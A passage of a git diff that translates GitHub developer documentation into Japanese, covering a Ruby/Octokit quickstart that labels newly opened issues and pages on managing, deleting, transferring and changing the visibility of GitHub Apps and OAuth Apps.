-Every event that GitHub sends includes a request header called `HTTP_X_GITHUB_EVENT`, which indicates the type of event in the `POST` request. Right now, you're only interested in `issues` event types. Each event has an additional `action` field that indicates the type of action that triggered the events. For `issues`, the `action` field can be `assigned`, `unassigned`, `labeled`, `unlabeled`, `opened`, `edited`, `milestoned`, `demilestoned`, `closed`, or `reopened`.
+GitHub が送信する全てのイベントには、`HTTP_X_GITHUB_EVENT` というリクエストヘッダが含まれており、これは `POST` リクエストのイベントの型を示します。 この時点では、関心があるのは`issues`というイベントの種類だけです。 各イベントには、アクションをトリガーしたイベントのタイプを示す `action` フィールドが付いています。 `issues`の場合、`action`フィールドは`assigned`、`unassigned`、`labeled`、`unlabeled`、`opened`、`edited`、`milestoned`、`demilestoned`、`closed`、`reopened`のいずれかです。
 
-To test your event handler, try adding a temporary helper method. You'll update later when you [Add label handling](#step-4-add-label-handling). For now, add the following code inside the `helpers do` section of the code. You can put the new method above or below any of the other helper methods. Order doesn't matter.
+イベントハンドラをテストするには、一時的なヘルパーメソッドを追加してみてください。 後で[ラベルの処理を追加](#step-4-add-label-handling)するときに更新します。 この時点では、以下のコードを`helpers do`セクションの中に追加してください。 他の任意のヘルパーメソッドの前後に新しいメソッドを追加できます。 順序は問題ではありません。
 
 ``` ruby
 def handle_issue_opened_event(payload)
@@ -128,37 +129,37 @@ def handle_issue_opened_event(payload)
 end
 ```
 
-This method receives a JSON-formatted event payload as an argument. This means you can parse the payload in the method and drill down to any specific data you need. You may find it helpful to inspect the full payload at some point: try changing `logger.debug 'An issue was opened!` to `logger.debug payload`. The payload structure you see should match what's [shown in the `issues` webhook event docs](/webhooks/event-payloads/#issues).
+このメソッドはJSON形式のイベントペイロードを引数として受け取ります。 これは、メソッド中でペイロードをパースして、任意の必要なデータへとドリルダウンしていけるということです。 どこかの時点でペイロード全体を調べると役立つかもしれません。`logger.debug 'An issue was opened!`を`logger.debug payload`に変更してみてください。 出力されるペイロードの構造は、[`issues` webhookイベントのドキュメントに示されている](/webhooks/event-payloads/#issues)ものと一致しているはずです。
 
-Great! It's time to test the changes.
+これでうまくいきました。 変更をテストしてみましょう。
 
 {% data reusables.apps.sinatra_restart_instructions %}
 
-In your browser, visit the repository where you installed your app. Open a new issue in this repository. The issue can say anything you like. It's just for testing.
+ブラウザで、アプリケーションをインストールしたリポジトリにアクセスしてください。 そのリポジトリで新しいIssueをオープンしてください。 そのIssueは好きな内容でかまいません。 これは単にテストにすぎません。
 
-When you look back at your Terminal, you should see a message in the output that says, `An issue was opened!` Congrats! You've added an event handler to your app. 💪
+ターミナルを見直してみれば、`An issue was opened!`というメッセージが出力にあるはずです。おめでとうございます! アプリケーションにイベントハンドラを追加できました。 💪
 
-## Step 3. Create a new label
+## ステップ 3. 新しいラベルの作成
 
-Okay, your app can tell when issues are opened. Now you want it to add the label `needs-response` to any newly opened issue in a repository the app is installed in.
+これで、アプリケーションはIssueがオープンされたときを示せるようになりました。 今度は、アプリケーションがインストールされたリポジトリのあらゆる新しくオープンされたIssueに`needs-response`というラベルを追加しましょう。
 
-Before the label can be _added_ anywhere, you'll need to _create_ the custom label in your repository. You'll only need to do this one time. For the purposes of this guide, create the label manually on GitHub. In your repository, click **Issues**, then **Labels**, then click **New label**. Name the new label `needs-response`.
+ラベルをどこでも_追加_できるようにするには、リポジトリでカスタムラベルを_作成_しなければなりません。 これをする必要があるのは一度だけです。 このガイドのためには、ラベルをGitHub上で手動で作成します。 リポジトリで**Issues**をクリックして、続いて**Labels**を、そして**New label（新規ラベル）**をクリックしてください。 新しいラベルの名前を`needs-response`にしてください。
 
 {% tip %}
 
-**Tip**: Wouldn't it be great if your app could create the label programmatically? [It can](/rest/reference/issues#create-a-label)! Try adding the code to do that on your own after you finish the steps in this guide.
+**Tip**: アプリケーションがラベルをプログラムから作成できたら素晴らしいのではないでしょうか？ [できます](/rest/reference/issues#create-a-label)! このガイドのステップを終えた後に、自分でそのためのコードを追加してみてください。
 
 {% endtip %}
 
-Now that the label exists, you can program your app to use the REST API to [add the label to any newly opened issue](/rest/reference/issues#add-labels-to-an-issue).
+これでラベルができたので、REST APIを使って[新しくオープンされたすべてのIssueにラベルを追加する](/rest/reference/issues#add-labels-to-an-issue)ようにアプリケーションをプログラムできます。
 
-## Step 4. Add label handling
+## ステップ 4. ラベルの処理の追加
 
-Congrats—you've made it to the final step: adding label handling to your app. For this task, you'll want to use the [Octokit.rb Ruby library](http://octokit.github.io/octokit.rb/).
+おめでとうございます。最後のステップである、アプリケーションへのラベル処理の追加にまで来ました。 このタスクのためには、[Octokit.rb Rubyライブラリ](http://octokit.github.io/octokit.rb/)を使いましょう。
 
-In the Octokit.rb docs, find the list of [label methods](http://octokit.github.io/octokit.rb/Octokit/Client/Labels.html). The method you'll want to use is [`add_labels_to_an_issue`](http://octokit.github.io/octokit.rb/Octokit/Client/Labels.html#add_labels_to_an_issue-instance_method).
+Octokit.rbのドキュメントで、[ラベルメソッド](http://octokit.github.io/octokit.rb/Octokit/Client/Labels.html)のリストを見つけてください。 使うメソッドは[`add_labels_to_an_issue`](http://octokit.github.io/octokit.rb/Octokit/Client/Labels.html#add_labels_to_an_issue-instance_method)です。
 
-Back in `template_server.rb`, find the method you defined previously:
+`template_server.rb`に戻って、以前に定義したメソッドを見つけてください。
 
 ``` ruby
 def handle_issue_opened_event(payload)
@@ -166,16 +167,16 @@ def handle_issue_opened_event(payload)
 end
 ```
 
-The [`add_labels_to_an_issue`](http://octokit.github.io/octokit.rb/Octokit/Client/Labels.html#add_labels_to_an_issue-instance_method) docs show you'll need to pass three arguments to this method:
+[`add_labels_to_an_issue`](http://octokit.github.io/octokit.rb/Octokit/Client/Labels.html#add_labels_to_an_issue-instance_method)のドキュメントには、このメソッドに3つの引数を渡さなければならないとあります。
 
-* Repo (string in `"owner/name"` format)
-* Issue number (integer)
+* Repo (`"owner/name"`という形式のstring)
+* Issue number(integer)
 * Labels (array)
 
-You can parse the payload to get both the repo and the issue number. Since the label name will always be the same (`needs-response`), you can pass it as a hardcoded string in the labels array. Putting these pieces together, your updated method might look like this:
+ペイロードをパースすれば、リポジトリとIssue番号を取得できます。 ラベル名は常に同じ(`needs-response`)なので、labels配列にハードコードした文字列で渡せます。 これらのピースをまとめると、更新されたメソッドは以下のようになるでしょう。
 
 ``` ruby
-# When an issue is opened, add a label
+# Issueがオープンされたらラベルを追加
 def handle_issue_opened_event(payload)
   repo = payload['repository']['full_name']
   issue_number = payload['issue']['number']
@@ -183,56 +184,56 @@ def handle_issue_opened_event(payload)
 end
 ```
 
-Try opening a new issue in your test repository and see what happens! If nothing happens right away, try refreshing.
+新しいIssueをテストのリポジトリでオープンして、何が起こるか見てみてください! もしすぐには何も起こらなければ、リフレッシュしてみてください。
 
-You won't see much in the Terminal, _but_ you should see that a bot user has added a label to the issue.
+ターミナルにはあまり表示されませんが、_とはいえ_ボットユーザがラベルをIssueに追加したことはわかります。
 
 {% note %}
 
-**Note:** When GitHub Apps take actions via the API, such as adding labels, GitHub shows these actions as being performed by _bot_ accounts. For more information, see "[Machine vs. bot accounts](/apps/differences-between-apps/#machine-vs-bot-accounts)."
+**ノート:** GitHub AppがAPIを介してラベルの追加といったアクションを起こした場合、GitHubはそれらのアクションを_ボット_アカウントが行ったものと示します。 詳しい情報については「[マシン対ボットアカウント](/apps/differences-between-apps/#machine-vs-bot-accounts)」を参照してください。
 
 {% endnote %}
 
-If so, congrats! You've successfully built a working app! 🎉
+そうなっていたら、おめでとうございます! 動作するアプリケーションの構築に成功しました! 🎉
 
-You can see the final code in `server.rb` in the [app template repository](https://github.com/github-developer/using-the-github-api-in-your-app).
+`server.rb`の最終のコードは[アプリケーションのテンプレートリポジトリ](https://github.com/github-developer/using-the-github-api-in-your-app)にあります。
 
-See "[Next steps](#next-steps)" for ideas about where you can go from here.
+ここから進む先に関するアイデアについては「[次のステップ](#next-steps)」を参照してください。
 
-## Troubleshooting
+## トラブルシューティング
 
-Here are a few common problems and some suggested solutions. If you run into any other trouble, you can ask for help or advice in the {% data variables.product.prodname_support_forum_with_url %}.
+以下は、いくつかの一般的な問題と推奨される解決策です。 他の問題が生じた場合は、{% data variables.product.prodname_support_forum_with_url %}で助けやアドバイスを求めることができます。
 
-* **Q:** My server isn't listening to events! The Smee client is running in a Terminal window, and I'm sending events on GitHub.com by opening new issues, but I don't see any output in the Terminal window where I'm running the server.
+* **Q:** サーバーがイベントを待ち受けていません! Smeeクライアントはターミナルウィンドウで動作していて、新しいIssueをオープンしてGitHub.com上でイベントを送信していますが、サーバーを動作させているターミナルウィンドウに出力がありません。
 
-    **A:** You may not have the correct Smee domain in your app settings. Visit your [app settings page](https://github.com/settings/apps) and double-check the fields shown in "[Register a new app with GitHub](/apps/quickstart-guides/setting-up-your-development-environment/#step-2-register-a-new-github-app)." Make sure the domain in those fields matches the domain you used in your `smee -u <unique_channel>` command in "[Start a new Smee channel](/apps/quickstart-guides/setting-up-your-development-environment/#step-1-start-a-new-smee-channel)."
+    **A:** アプリケーション設定のSmeeドメインが正しくないかもしれません。 [アプリケーション設定ページ](https://github.com/settings/apps)にアクセスし、[Register a new app with GitHub（GitHubに新しいアプリケーションを登録）](/apps/quickstart-guides/setting-up-your-development-environment/#step-2-register-a-new-github-app)にあるフィイールドをダブルチェックしてください。 それらのフィールドのドメインが、「[新しいSmeeチャンネルの開始](/apps/quickstart-guides/setting-up-your-development-environment/#step-1-start-a-new-smee-channel)」の`smee -u <unique_channel>`で使ったドメインと一致していることを確認してください。
 
-* **Q:** My app doesn't work! I opened a new issue, but even after refreshing, no label has been added to it.
+* **Q:** アプリケーションが動きません! 新しいIssueをオープンしましたが、リフレッシュしてもラベルが追加されません。
 
-    **A:** Make sure all of the following are true:
+    **A:** 以下のようになっていることをすべて確認してください。
 
-    * You [installed the app](/apps/quickstart-guides/setting-up-your-development-environment/#step-7-install-the-app-on-your-account) on the repository where you're opening the issue.
-    * Your [Smee client is running](/apps/quickstart-guides/setting-up-your-development-environment/#step-1-start-a-new-smee-channel) in a Terminal window.
-    * Your [web server is running](/apps/quickstart-guides/setting-up-your-development-environment/#step-6-start-the-server) with no errors in another Terminal window.
-    * Your app has [read & write permissions on issues and is subscribed to issue events](/apps/quickstart-guides/setting-up-your-development-environment/#step-1-start-a-new-smee-channel).
-    * You [checked your email](#step-1-update-app-permissions) after updating the permissions and accepted the new permissions.
+    * Issueをオープンしているリポジトリに[アプリケーションをインストールした](/apps/quickstart-guides/setting-up-your-development-environment/#step-7-install-the-app-on-your-account)こと。
+    * ターミナルウィンドウで[Smeeクライアントが動作している](/apps/quickstart-guides/setting-up-your-development-environment/#step-1-start-a-new-smee-channel)こと。
+    * 他のターミナルウィンドウで[Webサーバーが動作している](/apps/quickstart-guides/setting-up-your-development-environment/#step-6-start-the-server)こと。
+    * アプリケーションが[Issueの読み書き権限を持っており、issueイベントをサブスクライブしている](/apps/quickstart-guides/setting-up-your-development-environment/#step-1-start-a-new-smee-channel)こと。
+    * 権限を更新した後に[メールを確認して](#step-1-update-app-permissions)新しい権限を承認したこと。
 
-## Conclusion
+## おわりに
 
-After walking through this guide, you've learned the basic building blocks for developing GitHub Apps! To review, you:
+このガイドを見終えれば、GitHub Appを開発するための基本的なビルディングブロックを学んだことになります! 振り返ると、以下を行いました。
 
-* Programmed your app to listen for events
-* Used the Octokit.rb library to do REST API operations
+* イベントを待ち受けるようにアプリケーションをプログラム
+* Octokit.rbライブラリを使ったREST APIの操作
 
-## Next steps
+## 次のステップ
 
-Here are some ideas for what you can do next:
+以下は、次に行えることのいくつかのアイデアです。
 
-* [Rewrite your app using GraphQL](https://developer.github.com/changes/2018-04-30-graphql-supports-github-apps/)!
-* Rewrite your app in Node.js using [Probot](https://github.com/probot/probot)!
-* Have the app check whether the `needs-response` label already exists on the issue, and if not, add it.
-* When the bot successfully adds the label, show a message in the Terminal. (Hint: compare the `needs-response` label ID with the ID of the label in the payload as a condition for your message, so that the message only displays when the relevant label is added and not some other label.)
-* Add a landing page to your app and hook up a [Sinatra route](https://github.com/sinatra/sinatra#routes) for it.
-* Move your code to a hosted server (like Heroku). Don't forget to update your app settings with the new domain.
-* Share your project or get advice in the {% data variables.product.prodname_support_forum_with_url %}{% ifversion fpt or ghec %}
-* Have you built a shiny new app you think others might find useful? [Add it to GitHub Marketplace](/apps/marketplace/creating-and-submitting-your-app-for-approval/)!{% endif %}
+* [GraphQLを使ってアプリケーションを書き直す](https://developer.github.com/changes/2018-04-30-graphql-supports-github-apps/)!
+* [ Probot](https://github.com/probot/probot)を使ってNode.jsでアプリケーションを書き直す!
+* アプリケーションが`needs-response`ラベルがIssueにすでに付いているかを確認して、なければ追加するようにする。
+* ボットがラベルを追加できたら、ターミナルにメッセージを表示する。 （ヒント: `needs-response`ラベルのIDをペイロード中のラベルのIDと比較してメッセージの条件とし、他のラベルではなく関連するラベルが追加されたときにのみメッセージを表示してください）
+* アプリケーションにランディングページを追加し、[Sinatraのルート](https://github.com/sinatra/sinatra#routes)をそこに接続する。
+* コードをホストされたサーバー（Herokuのような）に移す。 新しいドメインでアプリケーションの設定を更新するのを忘れないようにしてください。
+* {% data variables.product.prodname_support_forum_with_url %}でプロジェクトを共有したりアドバイスをもらったりする。{% ifversion fpt or ghec %}
+* 他の人の役に立つかもと思うような、新しい輝くアプリケーションを構築しましたか？ [GitHub Marketplaceに追加してください](/apps/marketplace/creating-and-submitting-your-app-for-approval/)!{% endif %}
diff --git a/translations/ja-JP/content/developers/apps/index.md b/translations/ja-JP/content/developers/apps/index.md
index 30fe7ff44f..b2b0579adc 100644
--- a/translations/ja-JP/content/developers/apps/index.md
+++ b/translations/ja-JP/content/developers/apps/index.md
@@ -1,6 +1,6 @@
 ---
-title: Apps
-intro: You can automate and streamline your workflow by building your own apps.
+title: アプリ
+intro: 独自のアプリケーションを構築して、ワークフローを自動化および効率化できます。
 redirect_from:
   - /early-access/integrations
   - /early-access/integrations/authentication
diff --git a/translations/ja-JP/content/developers/apps/managing-github-apps/deleting-a-github-app.md b/translations/ja-JP/content/developers/apps/managing-github-apps/deleting-a-github-app.md
index 5c9cdb43cf..4362e7f1f7 100644
--- a/translations/ja-JP/content/developers/apps/managing-github-apps/deleting-a-github-app.md
+++ b/translations/ja-JP/content/developers/apps/managing-github-apps/deleting-a-github-app.md
@@ -1,5 +1,5 @@
 ---
-title: Deleting a GitHub App
+title: GitHub App を削除する。
 intro: '{% data reusables.shortdesc.deleting_github_apps %}'
 redirect_from:
   - /apps/building-integrations/managing-github-apps/deleting-a-github-app
@@ -13,15 +13,12 @@ versions:
 topics:
   - GitHub Apps
 ---
+
 {% data reusables.user-settings.access_settings %}
 {% data reusables.user-settings.developer_settings %}
 {% data reusables.user-settings.github_apps %}
-4. Select the GitHub App you want to delete.
-![App selection](/assets/images/github-apps/github_apps_select-app.png)
+4. 削除する GitHub App を選択します。 ![アプリケーションの選択](/assets/images/github-apps/github_apps_select-app.png)
 {% data reusables.user-settings.github_apps_advanced %}
-6. Click **Delete GitHub App**.
-![Button to delete a GitHub App](/assets/images/github-apps/github_apps_delete.png)
-7. Type the name of the GitHub App to confirm you want to delete it.
-![Field to confirm the name of the GitHub App you want to delete](/assets/images/github-apps/github_apps_delete_integration_name.png)
-8. Click **I understand the consequences, delete this GitHub App**.
-![Button to confirm the deletion of your GitHub App](/assets/images/github-apps/github_apps_confirm_deletion.png)
+6. [**Delete GitHub App**] をクリックします。 ![GitHub App を削除するボタン](/assets/images/github-apps/github_apps_delete.png)
+7. 削除する GitHub App の名前を入力して、削除を確認します。 ![削除する GitHub App の名前を確認するフィールド](/assets/images/github-apps/github_apps_delete_integration_name.png)
+8. [**I understand the consequences, delete this GitHub App**] をクリックします。 ![GitHub App の削除を確認するボタン](/assets/images/github-apps/github_apps_confirm_deletion.png)
diff --git a/translations/ja-JP/content/developers/apps/managing-github-apps/editing-a-github-apps-permissions.md b/translations/ja-JP/content/developers/apps/managing-github-apps/editing-a-github-apps-permissions.md
index 3d9e709d77..82d1ddf41c 100644
--- a/translations/ja-JP/content/developers/apps/managing-github-apps/editing-a-github-apps-permissions.md
+++ b/translations/ja-JP/content/developers/apps/managing-github-apps/editing-a-github-apps-permissions.md
@@ -1,5 +1,5 @@
 ---
-title: Editing a GitHub App's permissions
+title: GitHub App の権限を編集する
 intro: '{% data reusables.shortdesc.editing_permissions_for_github_apps %}'
 redirect_from:
   - /apps/building-integrations/managing-github-apps/editing-a-github-app-s-permissions
@@ -12,26 +12,21 @@ versions:
   ghec: '*'
 topics:
   - GitHub Apps
-shortTitle: Edit permissions
+shortTitle: 権限を編集する
 ---
+
 {% note %}
 
-**Note:** Updated permissions won't take effect on an installation until the owner of the account or organization approves the changes. You can use the [InstallationEvent webhook](/webhooks/event-payloads/#installation) to find out when people accept new permissions for your app. One exception is [user-level permissions](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/#user-level-permissions), which don't require the account owner to approve permission changes.
+**注釈:** アカウントまたは Organization のオーナーが変更を承認するまで、更新した権限はインストールしたアプリケーションに反映されません。 [InstallationEvent webhook](/webhooks/event-payloads/#installation) を使用すると、ユーザがアプリケーションの新しい権限を受け入れた時に確認できます。 ただし[ユーザレベルの権限](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/#user-level-permissions)は例外で、アカウントの所有者が変更を承認する必要はありません。
 
 {% endnote %}
 
 {% data reusables.user-settings.access_settings %}
 {% data reusables.user-settings.developer_settings %}
 {% data reusables.user-settings.github_apps %}
-4. Select the GitHub App whose permissions you want to change.
-![App selection](/assets/images/github-apps/github_apps_select-app.png)
-5. In the left sidebar, click **Permissions & webhooks**.
-![Permissions and webhooks](/assets/images/github-apps/github_apps_permissions_and_webhooks.png)
-6. Modify the permissions you'd like to change. For each type of permission, select either "Read-only", "Read & write", or "No access" from the dropdown.
-![Permissions selections for your GitHub App](/assets/images/github-apps/github_apps_permissions_post2dot13.png)
-7. In "Subscribe to events", select any events to which you'd like to subscribe your app.
-![Permissions selections for subscribing your GitHub App to events](/assets/images/github-apps/github_apps_permissions_subscribe_to_events.png)
-8. Optionally, in "Add a note to users", add a note telling your users why you are changing the permissions that your GitHub App requests.
-![Input box to add a note to users explaining why your GitHub App permissions have changed](/assets/images/github-apps/github_apps_permissions_note_to_users.png)
-9. Click **Save changes**.
-![Button to save permissions changes](/assets/images/github-apps/github_apps_save_changes.png)
+4. 権限を変更する GitHub App を選択します。 ![アプリケーションの選択](/assets/images/github-apps/github_apps_select-app.png)
+5. 左サイドバーで、[**Permissions & webhooks**] をクリックします。 ![権限と webhook](/assets/images/github-apps/github_apps_permissions_and_webhooks.png)
+6. 変更したい権限を修正します。 権限の各タイプで、ドロップダウンメニューから [Read-only]、[Read & write]、[No access] のいずれかを選択します。 ![GitHub App に対する権限の選択](/assets/images/github-apps/github_apps_permissions_post2dot13.png)
+7. [Subscribe to events] で、アプリケーションがサブスクライブするイベントを選択します。 ![GitHub App がイベントにサブスクライブするための権限の選択](/assets/images/github-apps/github_apps_permissions_subscribe_to_events.png)
+8. O必要に応じて、[Add a note to users] で注釈を追加し、GitHub App がリクエストする権限を変更する理由をユーザに伝えます。 ![GitHub App の権限を変更した理由をユーザに説明する注釈を追加するための入力ボックス](/assets/images/github-apps/github_apps_permissions_note_to_users.png)
+9. [**Save changes**] をクリックします。 ![権限の変更を保存するボタン](/assets/images/github-apps/github_apps_save_changes.png)
diff --git a/translations/ja-JP/content/developers/apps/managing-github-apps/index.md b/translations/ja-JP/content/developers/apps/managing-github-apps/index.md
index 718fa7bb8f..ef5a185023 100644
--- a/translations/ja-JP/content/developers/apps/managing-github-apps/index.md
+++ b/translations/ja-JP/content/developers/apps/managing-github-apps/index.md
@@ -1,6 +1,6 @@
 ---
-title: Managing GitHub Apps
-intro: 'After you create and register a GitHub App, you can make modifications to the app, change permissions, transfer ownership, and delete the app.'
+title: GitHub Appの管理
+intro: GitHub Appを作成して登録した後、そのアプリケーションを変更したり、権限を変更したり、所有権を移譲したり、アプリケーションを削除したりできます。
 redirect_from:
   - /apps/building-integrations/managing-github-apps
   - /apps/managing-github-apps
diff --git a/translations/ja-JP/content/developers/apps/managing-github-apps/making-a-github-app-public-or-private.md b/translations/ja-JP/content/developers/apps/managing-github-apps/making-a-github-app-public-or-private.md
index 2955f8e8c0..98f1da8200 100644
--- a/translations/ja-JP/content/developers/apps/managing-github-apps/making-a-github-app-public-or-private.md
+++ b/translations/ja-JP/content/developers/apps/managing-github-apps/making-a-github-app-public-or-private.md
@@ -1,5 +1,5 @@
 ---
-title: Making a GitHub App public or private
+title: GitHub Appをパブリックまたはプライベートにする
 intro: '{% data reusables.shortdesc.making-a-github-app-public-or-private %}'
 redirect_from:
   - /apps/building-integrations/setting-up-and-registering-github-apps/about-installation-options-for-github-apps
@@ -15,29 +15,27 @@ versions:
   ghec: '*'
 topics:
   - GitHub Apps
-shortTitle: Manage app visibility
+shortTitle: アプリケーションの可視性を管理
 ---
-For authentication information, see "[Authenticating with GitHub Apps](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-an-installation)."
 
-## Public installation flow
+認証の情報については「[GitHub Appでの認証](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-an-installation)」を参照してください。
 
-Public installation flows have a landing page to enable other people besides the app owner to install the app in their repositories. This link is provided in the "Public link" field when setting up your GitHub App. For more information, see "[Installing GitHub Apps](/apps/installing-github-apps/)."
+## パブリックのインストールフロー
 
-## Private installation flow
+パブリックのインストールフローには、アプリケーションのオーナー以外の人がリポジトリにアプリケーションをインストールするためのランディングページがあります。 このリンクは、GitHub Appをセットアップする際に「Public link（パブリックリンク）」フィールドに提供されます。 詳しい情報については「[GitHub Appのインストール](/apps/installing-github-apps/)」を参照してください。
 
-Private installation flows allow only the owner of a GitHub App to install it. Limited information about the GitHub App will still exist on a public page, but the **Install** button will only be available to organization administrators or the user account if the GitHub App is owned by an individual account. {% ifversion fpt or ghes > 3.1 or ghae or ghec %}Private {% else %}Private (also known as internal){% endif %} GitHub Apps can only be installed on the user or organization account of the owner.
+## プライベートのインストールフロー
 
-## Changing who can install your GitHub App
+プライベートインストールフローを利用すれば、GitHub Appのオーナーだけがそのアプリケーションをインストールできます。 そのGitHub Appに関する限定的な情報はパブリックなページに存在しますが、**インストール**ボタンはOrganizationの管理者もしくはGitHub Appが個人のアカウントによって所有されている場合はそのユーザアカウントからのみ利用できます。 {% ifversion fpt or ghes > 3.1 or ghae or ghec %}プライベート{% else %}プライベート (内部とも呼ぶ){% endif %}のGitHub Appは、ユーザ、もしくはオーナーのOrganizationアカウントにのみインストールできます。
 
-To change who can install the GitHub App:
+## GitHub Appをインストールできるユーザの変更
+
+GitHub Appをインストールできるユーザを変更するには以下のようにします。
 
 {% data reusables.user-settings.access_settings %}
 {% data reusables.user-settings.developer_settings %}
 {% data reusables.user-settings.github_apps %}
-3. Select the GitHub App whose installation option you want to change.
-![App selection](/assets/images/github-apps/github_apps_select-app.png)
+3. インストールオプションを変更したいGitHub Appを選択してください。 ![アプリケーションの選択](/assets/images/github-apps/github_apps_select-app.png)
 {% data reusables.user-settings.github_apps_advanced %}
-5. Depending on the installation option of your GitHub App, click either **Make public** or **Make {% ifversion fpt or ghes > 3.1 or ghae or ghec %}private{% else %}internal{% endif %}**.
-![Button to change the installation option of your GitHub App](/assets/images/github-apps/github_apps_make_public.png)
-6. Depending on the installation option of your GitHub App, click either **Yes, make this GitHub App public** or **Yes, make this GitHub App {% ifversion fpt or ghes < 3.2 or ghec %}internal{% else %}private{% endif %}**.
-![Button to confirm the change of your installation option](/assets/images/github-apps/github_apps_confirm_installation_option.png)
+5. GitHub Appのインストールオプションに応じて、**Make public**もしくは**Make {% ifversion fpt or ghes > 3.1 or ghae or ghec %}private{% else %}internal{% endif %}**をクリックしてください。 ![GitHub Appのインストールオプションを変更するボタン](/assets/images/github-apps/github_apps_make_public.png)
+6. GitHub Appのインストールオプションに応じて、**Yes, make this GitHub App public**または**Yes, make this GitHub App {% ifversion fpt or ghes < 3.2 or ghec %}private{% else %}internal{% endif %}**をクリックしてください。 ![インストールオプションの変更の確認ボタン](/assets/images/github-apps/github_apps_confirm_installation_option.png)
diff --git a/translations/ja-JP/content/developers/apps/managing-github-apps/modifying-a-github-app.md b/translations/ja-JP/content/developers/apps/managing-github-apps/modifying-a-github-app.md
index 48fc1ccfb1..f6473a081a 100644
--- a/translations/ja-JP/content/developers/apps/managing-github-apps/modifying-a-github-app.md
+++ b/translations/ja-JP/content/developers/apps/managing-github-apps/modifying-a-github-app.md
@@ -1,5 +1,5 @@
 ---
-title: Modifying a GitHub App
+title: GitHub Appの変更
 intro: '{% data reusables.shortdesc.modifying_github_apps %}'
 redirect_from:
   - /apps/building-integrations/managing-github-apps/modifying-a-github-app
@@ -13,11 +13,10 @@ versions:
 topics:
   - GitHub Apps
 ---
+
 {% data reusables.user-settings.access_settings %}
 {% data reusables.user-settings.developer_settings %}
 {% data reusables.user-settings.github_apps %}
 {% data reusables.user-settings.modify_github_app %}
-5. In "Basic information", modify the GitHub App information that you'd like to change.
-![Basic information section for your GitHub App](/assets/images/github-apps/github_apps_basic_information.png)
-6. Click **Save changes**.
-![Button to save changes for your GitHub App](/assets/images/github-apps/github_apps_save_changes.png)
+5. 「Basic information（基本情報）」で、修正したいGitHub Appの情報を変更してください。 ![GitHub Appの基本情報セクション](/assets/images/github-apps/github_apps_basic_information.png)
+6. [**Save changes**] をクリックします。 ![GitHub Appの変更保存ボタン](/assets/images/github-apps/github_apps_save_changes.png)
diff --git a/translations/ja-JP/content/developers/apps/managing-github-apps/transferring-ownership-of-a-github-app.md b/translations/ja-JP/content/developers/apps/managing-github-apps/transferring-ownership-of-a-github-app.md
index 4bbe104d16..951c56baa9 100644
--- a/translations/ja-JP/content/developers/apps/managing-github-apps/transferring-ownership-of-a-github-app.md
+++ b/translations/ja-JP/content/developers/apps/managing-github-apps/transferring-ownership-of-a-github-app.md
@@ -1,5 +1,5 @@
 ---
-title: Transferring ownership of a GitHub App
+title: GitHub Appの所有権を移譲する
 intro: '{% data reusables.shortdesc.transferring_ownership_of_github_apps %}'
 redirect_from:
   - /apps/building-integrations/managing-github-apps/transferring-ownership-of-a-github-app
@@ -12,19 +12,15 @@ versions:
   ghec: '*'
 topics:
   - GitHub Apps
-shortTitle: Transfer ownership
+shortTitle: 所有権の移譲
 ---
+
 {% data reusables.user-settings.access_settings %}
 {% data reusables.user-settings.developer_settings %}
 {% data reusables.user-settings.github_apps %}
-4. Select the GitHub App whose ownership you want to transfer.
-![App selection](/assets/images/github-apps/github_apps_select-app.png)
+4. 所有権を移譲するGitHub Appを選択します。 ![アプリケーションの選択](/assets/images/github-apps/github_apps_select-app.png)
 {% data reusables.user-settings.github_apps_advanced %}
-6. Click **Transfer ownership**.
-![Button to transfer ownership](/assets/images/github-apps/github_apps_transfer_ownership.png)
-7. Type the name of the GitHub App you want to transfer.
-![Field to enter the name of the app to transfer](/assets/images/github-apps/github_apps_transfer_app_name.png)
-8. Type the name of the user or organization you want to transfer the GitHub App to.
-![Field to enter the user or org to transfer to](/assets/images/github-apps/github_apps_transfer_new_owner.png)
-9. Click **Transfer this GitHub App**.
-![Button to confirm the transfer of a GitHub App](/assets/images/github-apps/github_apps_transfer_integration.png)
+6. [**Transfer ownership**]をクリックします。 ![所有権を移譲するボタン](/assets/images/github-apps/github_apps_transfer_ownership.png)
+7. 移譲するGitHub Appの名前を入力します。 ![移譲するアプリケーションの名前を入力するフィールド](/assets/images/github-apps/github_apps_transfer_app_name.png)
+8. GitHub Appの移譲先のユーザまたはOrganizationの名前を入力します。 ![移譲先のユーザまたはOrganizationの名前を入力するフィールド](/assets/images/github-apps/github_apps_transfer_new_owner.png)
+9. [**Transfer this GitHub App**]をクリックします。 ![GitHub Appの移譲を確認するボタン](/assets/images/github-apps/github_apps_transfer_integration.png)
diff --git a/translations/ja-JP/content/developers/apps/managing-oauth-apps/deleting-an-oauth-app.md b/translations/ja-JP/content/developers/apps/managing-oauth-apps/deleting-an-oauth-app.md
index 26affcb17f..7eeb7f229a 100644
--- a/translations/ja-JP/content/developers/apps/managing-oauth-apps/deleting-an-oauth-app.md
+++ b/translations/ja-JP/content/developers/apps/managing-oauth-apps/deleting-an-oauth-app.md
@@ -1,5 +1,5 @@
 ---
-title: Deleting an OAuth App
+title: OAuth App を削除する
 intro: '{% data reusables.shortdesc.deleting_oauth_apps %}'
 redirect_from:
   - /apps/building-integrations/managing-oauth-apps/deleting-an-oauth-app
@@ -13,12 +13,10 @@ versions:
 topics:
   - OAuth Apps
 ---
+
 {% data reusables.user-settings.access_settings %}
 {% data reusables.user-settings.developer_settings %}
 {% data reusables.user-settings.oauth_apps %}
-4. Select the {% data variables.product.prodname_oauth_app %} you want to modify.
-![App selection](/assets/images/oauth-apps/oauth_apps_choose_app_post2dot12.png)
-5. Click **Delete application**.
-![Button to delete the application](/assets/images/oauth-apps/oauth_apps_delete_application.png)
-6. Click **Delete this OAuth Application**.
-![Button to confirm the deletion](/assets/images/oauth-apps/oauth_apps_delete_confirm.png)
+4. 変更する {% data variables.product.prodname_oauth_app %} を選択します。 ![アプリケーションの選択](/assets/images/oauth-apps/oauth_apps_choose_app_post2dot12.png)
+5. [**Delete application**] をクリックします。 ![アプリケーションを削除するボタン](/assets/images/oauth-apps/oauth_apps_delete_application.png)
+6. [**Delete this OAuth Application**] をクリックします。 ![削除を確認するボタン](/assets/images/oauth-apps/oauth_apps_delete_confirm.png)
diff --git a/translations/ja-JP/content/developers/apps/managing-oauth-apps/index.md b/translations/ja-JP/content/developers/apps/managing-oauth-apps/index.md
index 5a40c83444..c02bd92448 100644
